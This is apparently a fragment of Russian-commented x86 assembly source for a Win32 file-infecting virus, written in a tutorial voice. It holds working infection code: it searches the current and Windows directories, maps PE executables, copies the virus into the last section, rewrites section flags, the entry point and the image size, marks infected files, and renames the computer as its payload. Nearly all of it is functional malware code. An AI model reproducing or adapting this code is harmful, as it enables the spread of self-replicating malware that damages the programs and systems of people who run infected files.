mov ecx, 5 ; кол-во файлов для заражения push dword ptr [ebp+EIPs] ; это одно из "шатких" мест кода. дело в том, что точка входа определяется ; при заражении файла и записывается в файл в соответствующую переменную. ; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить, ; что и делается при заражении файла, но это портит то значение, которое было ; таким же образом забито в этом поколении. Поэтому мы должны его сохранить, ; чтоб потом можно было его заюзать при передаче управления носителю
modifyIt: push ecx ; в есх у нас счётчик. Так как мы будем работать с этим регистром, ; то будем его сохранять в начале цикла и восстанавливать в конце jmp infection ; "прыгаем" на процедуру заражения infection_done: ; сюда попадаем после заражения найденного файла PLZNext: lea eax, [ebp+offset WFD32] push eax push dword ptr [ebp+offset hFF] call [ebp+_FindNextFileA] pop ecx ; восстанавливаем счётчик test eax, eax jz nextdir ; если не находим ещё файл пробуем искать в директории винды dec cx jnz modifyIt ; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл. ; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit ; 1) ищем первый файл ; 2) не нашли - шаг 6 ; 3) заражаем ; 4) ищем следующий ; 5) нашли - шаг 3 ; 6) след. директория ; 7) если есть директория - шаг 1 ; 8) выход Exit: pop dword ptr [ebp+EIPs] ; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов call killfind ; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря
lea edi, [ebp+offset NewComp] push edi call [ebp+_SetComputerNameA] ; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)
test ebp,ebp jz first_gen ; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим, ; а во втором надо возвратитьуправление носителю
mov eax, 0666B0BAH org $-4 EIPs dd 00401000h jmp eax ; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод ; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте, ; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать ; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки ; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax, ; который совершает прыжок на адрес, который лежит в еах
infection: ; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл lea eax, [ebp+offset FName] push dword ptr FAttrNorm push eax call [ebp + _SetFileAttributesA] ; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)
xor eax, eax push eax ; handle to file push eax ; flags and attributes push 00000003h ; how to create(OPEN_EXISTING) push eax ; security attr push 00000003h ; share mode push 0c0000000h ; access mode lea eax, [ebp+offset FName] push eax ; pointer to file name call [ebp+_CreateFileA] ; открываем файл, если онсуществует
mov dword ptr [ebp+hFO], eax ; сохраняем хендл в переменной inc eax ; если в регистре -1, то ... jz infection_done ; ... ищем следующий файл (заражение этого провалилось)
mov ecx, [ebp+FSizeL] ; FSizeL - младшее слово длины файла (берём из WFD) xor ebx, ebx ; обнуляем ebx. это нам нужно для работы кода ; ecx - low size crFM: mov eax, [ebp+hFO] xor edx, edx ; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0) push edx ; name of object push ecx ; low size push edx ; high size push PAGE_READWRITE ; protect push edx ; security attr push eax ; handle to file to map call [ebp+_CreateFileMappingA] ; создаём мэппинг test eax, eax jz close_file ; в случае неудачи закрываем файл mov [ebp+hFM], eax ; в случае успеха сохраняем хендл
xor edx,edx MVF: push edx ; number bytes to map push edx ; offs low push edx ; offs high push SRW ; access mode push eax ; handle by crFM call [ebp+_MapViewOfFile] ; мэппируем файл в память
test eax, eax jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную
test ebx, ebx jnz dali_bude ; итак, пришло время рассказать о великом значении регистра ebx в нашем коде. ; он работает как флаг. когда его значение 0 - выполняется следующие проверки, ; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем ; следующий. если же там другое значение, то мы перескакиваем проверки, а также ; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг ; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)
add eax,[eax+3Ch] ; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch ; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить ; это число к еах, чтоб получить адрес заголовка cmp word ptr [eax], 'EP' ; сравниваем сигнатуру jne UVF ; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)
cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности. je UVF ; если заражен файл, то его не трогаем, зачем его дважды заражать ; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )
mov ecx, dword ptr [eax+3ch] ; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания ; всего, что можно выровнять. mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную
inc ebx ; делаем ebx != 0 jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1 step1: mov eax, vir_size ; в еах длина вируса call aligning ; выравниваем al_done: mov ecx, [ebp+FSizeL] ; в есх длину файла add ecx, eax ; прибавляем выровненную длину выря jmp crFM ; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх). ; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс ; на 800h байт (выровненная длина вируса) dali_bude: push eax ; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится) add eax,[eax+3ch] ; теперь найдем заголовок push eax ; его адрес тоже в стек (удобная это штука) movzx ecx, word ptr [eax+6] ; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6) jmp last_sec_find ; прыгаем на процедуру поиска последней секции
ls_found: ; сюда попадём после того, как найдена последняя (физически и виртуально) секция. ; регистры изменятся ; esi=edi=VA of last section ; edx - виртуальное смещение of last section ; ebx - физическое смещение of last section ; флаги всех секций установлены в 0а0000020
pop esi mov eax, dword ptr [esi+28h] ; берём rva точки входа add eax, dword ptr [esi+34h] ; добавляем базу, получаем va mov dword ptr [ebp+EIPs],eax ; этот адрес кидаем в переменную, которая когда-то станет значением еах. pop eax ; вспомним начало файла push esi push edi ; запомним адрес заголовка и адрес начала структуры описания последней секции
mov edi, [edi+10h] ; в edi - размер секции
lea edi, [ebx+edi] ; в edi - размер секции + физическое смещение последней секции = смещение ; последнего байта секции (относительно начала) add edi, eax ;прибавляем адрес начала получаем VA mov ecx, vir_size ;в есх - длину вируса lea esi, [ebp+offset start] ; esi указывает на начало rep movsb ; копирует один байт из памяти по адресу ds:esi в память по адресу es:edi есх раз ; то есть после этого вирус перекачует в память начиная с конца последней секции ; файла, который заражаем, куда указывает edi. вот и поселились, осталось обосноваться.
pop edi pop esi ; вспомним адрес заголовка и адрес начала структуры описания последней секции
mov eax, dword ptr [edi+0ch] ; в еах - rva последней секции add eax, dword ptr [edi+10h] ; + размер секции (до заражения) - получаем rva начала нашего кода mov dword ptr [esi+28h], eax ; меняем entry point на тот, который указывает на наш код.
mov eax, vir_size call aligning ; в еах выровненная длина виря
add dword ptr [edi+10h], eax ; её прибавляем к физическому размеру секции add dword ptr [edi+8], eax ; также к виртуальному
mov eax, dword ptr [edi+0ch] ; в еах - rva последней секции add eax, dword ptr [edi+8] ; добавляем к ней виртуальный размер, получая значение, которое можно записать ...
mov dword ptr [esi+50h], eax ; ... в поле Size Of Image заголовка mov dword ptr [esi+44h], 'CPM ' ; устанавливаем метку заражения
xor ebx,ebx ; закончили работу с файлом нужно закрыть и искать следующий, а для этого нужно ebx = 0
UVF: push [ebp+pFM] call [ebp+_UnmapViewOfFile] ; убираем файл из памяти close_FM: push [ebp+hFM] call [ebp+_CloseHandle] ; закрываем мэппинг test ebx,ebx jnz step1 ; тут прикол с ebx, о нём выше
; ======процедурка, которая делает фокус с ebx, что приводит к закрытию файла zeroid: xor ebx,ebx jmp UVF ; ======
; ==========процедурка поиска последней (физически и виртуально) секции ; eax - pe header va last_sec_find: movzx edi, word ptr [eax+14h] ; в edi размер заголовка без учёта IMAGE_FILE_HEADER (18h) lea eax,[eax+edi+18h] ; прибавляем 18h и адрес начала файла, получаем смещение начала таблицы секций
mov ebx, [eax+14h] ; в ebx - физическое смещение первой mov edx, [eax+0ch] ; в edx - виртуальное смещение первой
scoffs: mov [eax+24h], 0A0000020h ; фиксим флаги cmp ebx, [eax+14h] ; сравниваем физическое смещение текущей секции с физическим следующей ja shvrva ; если текущее больше идём сравнивать виртуальные mov ebx, [eax+14h] ; если нет - запоминаем его mov esi, eax ; в esi адрес структуры с большим физическим смещением
shvrva: cmp edx, [eax+0ch] ; сравниваем вмртуальные ja nextobj ; если текущее больше, переходим к следующей структуре mov edx, [eax+0ch] mov edi, eax ; если нет, действия, аналогичные тем, которые были с физическими
nextobj: add eax, 28h ; структура имеет размер 28h, то есть, чтоб перейти к следующей, ; нам надо прибавить 28h к текущей loop scoffs ; так будем перебирать все секции cmp esi, edi ; посмотрим принадлежат ли самое большое физическое и виртуальное смещение одной секции je ls_found ; если да, то прыгаем, откуда пришли pop eax pop eax ; если нет - восстановим стек jmp zeroid ; и выйдим ; ====================
; ==============процедура выравнивания aligning: ; eax - numb to align mov ecx, [ebp+file_align] dec ecx add eax, ecx not ecx and eax, ecx ret ; eax-aligned ; ===============
; ==================работает в первом поколении first_gen: xor ebx, ebx
; =============переход на следующую директорию nextdir: cmp byte ptr [ebp+numbofdirs], 0 ; если нет больше директорий... jz Exit ; ...на выход call killfind ; а так - "убиваем" хендл поиска lea edi, [ebp+offset szWindowsDirectory] ; идём на директорию винды push edi call [ebp+_SetCurrentDirectoryA] ; делаем её текущей для нашего процесса dec byte ptr [ebp+numbofdirs] ; отнимаем 1 от кол-ва директорий jmp FindFirsttttt ; ищем первый файл в текущей директории ; ====================
FAttrNorm equ 80h ; новые аттрибуты файла MAX_PATH equ 100h ; максимальное значение длины пути, которое мы допускаем Some_pathes equ 50h ; длина пути к виндозной директории vir_size equ (vir_end-start) ; длина вируса PAGE_READWRITE equ 00000004h SECTION_MAP_WRITE equ 2h SECTION_MAP_READ equ 4h SRW equ SECTION_MAP_WRITE or SECTION_MAP_READ